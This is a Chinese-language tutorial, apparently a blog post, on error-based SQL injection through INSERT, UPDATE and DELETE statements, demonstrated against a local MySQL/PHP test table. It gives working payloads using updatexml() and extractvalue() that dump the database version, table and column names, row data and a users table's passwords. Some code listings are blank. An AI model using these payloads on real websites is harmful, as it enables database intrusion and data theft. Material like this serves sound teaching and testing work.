SQL注入类型很多,包括insert、update、delete都有办法注入,今天总结一下这三个注入,包含实例。
配置环境
Apache+Mysql 5.5.53+PHP 5.6搭建一个web服务器。
然后用下面的创建表语句创建一个表用来测试。
1 | create table member__sq( |
PHP漏洞代码:
sqltest.php
1 |
|
config.php
1 |
|
update注入
注入语句
1 | insert into member__sq(p_name,p_number,p_owner,p_ney,sqdate) values( 'te1st','51','Olivia' or 注入语句 |
使用updatexml()显错来注入
这里要说明一下,用updatexml()进行显错注入,有一个条件:
1 | echo "<br>".mysql_error(); |
必须打印mysql_error()才行,如果不打印呢,后面会介绍到。
updatexml函数介绍:
1 |
|
显示MySQL版本
1 | payload:_name=te1st&_number=51&_owner=Olivia' or updatexml(0,concat(0x7c,version()),1) or' |
如果不加上concat会只显示.53,concat是字符拼接函数。
查表名
1 | _name=te1st&_number=51&_owner=Olivia' or updatexml(0,concat(0x7c,(select group_concat(table_name) from information_schema.tables where table_schema = database())),1) or' |
查列名
1 | _name=te1st&_number=51&_owner=Olivia' or updatexml(0,concat(0x7c,(select group_concat(column_name) from information_schema.columns where table_name = 'member__sq')),1) or' |
发现爆列名的时候没把所有列全部输出出来,这里可以用concat代替group_concat只不过要在语句末尾加上limit 0,1
爆数据
1 | _name=te1st&_number=51&_owner=Olivia' or updatexml(0,concat(0x7c,(select concat(p_name,0x7c,p_number) from member__sq where p_id=111)),1) or' |
使用extractvalue()报错注入
1 | EXTRACTVALUE (XML_document, XPath_string); |
extractvalue()和updatexml()类似,只不过extractvalue()只需要两个个参数。
_name=te1st&_number=51&_owner=Olivia' or extractvalue(0,concat(0x7c,(select concat(p_name,0x7c,p_number) from member__sq where p_id=111))) or'
tips:extractvalue只能显示32位
1 | Olivia' or extractvalue(0,concat(0x7c,(select mid(p_name,32,39) from member__sq where p_id=15))) or' -- 需要用mid控制一下位数,updatexml也是这样。 |
update注入
1 | UPDATE `member__sq` SET `p_name` = 'updatexxxx'or updatexml(0,concat(0x7c,version()),1) or'', |
1 | UPDATE `member__sq` SET `p_name` = 'updatexxxx'or extractvalue(0,concat(0x7c,version())) or'', |
delete注入
更多闭合方式
1 | ' or (payload) or ' |
补充
2018.02.02补充
判断注入
判断insert注入,数据包括’ 或者 \时,数据无法插入,则80%是注入,20%是被拦截规则拦截掉了。在开发中,拼接SQL语句一般是:
1 | $sql = "INSERT INTO student values($stuId,'$stuName',$stuChinese,$stuEnglish,$stuMath)"; |
带入数据库的字符串是用’ 包裹的,测试数据中带有”,如果能插入数据则90%是注入(“ 不影响数据库执行的sql语句的闭合。往数据库里面插入双引号会变成单引号)。
将测试数据中包含\’ 如果能插入数据,则 100% 证明存在注入。方法(2) 或者插入sleep(5) 延时5秒进入页面,也可以判断存在注入。
判断update注入,检测方法同上。
如果是一个数字参数,则只能用方法(2)进行判断。
巧用回显进行注入
insert注入中判断列的个数:
在提交的数据后添加,’ ‘,’ ‘);– 后面有多少个’ ‘,就代表后面还有多少个列。
注入数据:
1 | payload : _name=bbss','',(select password from users) ,'',''); -- /*后面要加一个空格,否则MySQL容易识别成减号*/ |
update注入: